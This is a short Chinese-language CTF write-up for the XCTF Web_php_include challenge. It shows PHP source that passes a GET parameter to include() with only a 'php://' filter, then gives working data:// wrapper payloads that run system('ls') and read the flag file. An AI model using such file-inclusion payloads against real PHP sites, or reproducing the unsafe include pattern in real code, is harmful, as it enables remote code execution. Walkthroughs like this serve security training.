攻防世界 web_php

Web_php_include

进入题目源码直接出来了

<?php

show_source(__FILE__);

echo $_GET['hello'];

$page=$_GET['page'];

while (strstr($page, "php://")) {

    $page=str_replace("php://", "", $page);

}

include($page);

?>

看见了include函数并且发现过滤了php://，由此估计需要使用伪协议来读取flag内容，由于过滤掉了php，所以我们直接使用data://协议来执行指令

payload

?page=data://text/plain,<?system(%27ls%27);?>

然后又是cat查看一下就行

page=data://text/plain,<?system(%27cat%20fl4gisisish3r3.php%27);?>

但是页面没有回显任何内容，还以为我哪里做错了原来查看源码就发现了flag

巴特西

攻防世界 web_php_include

Web_php_include

最新文章

热门文章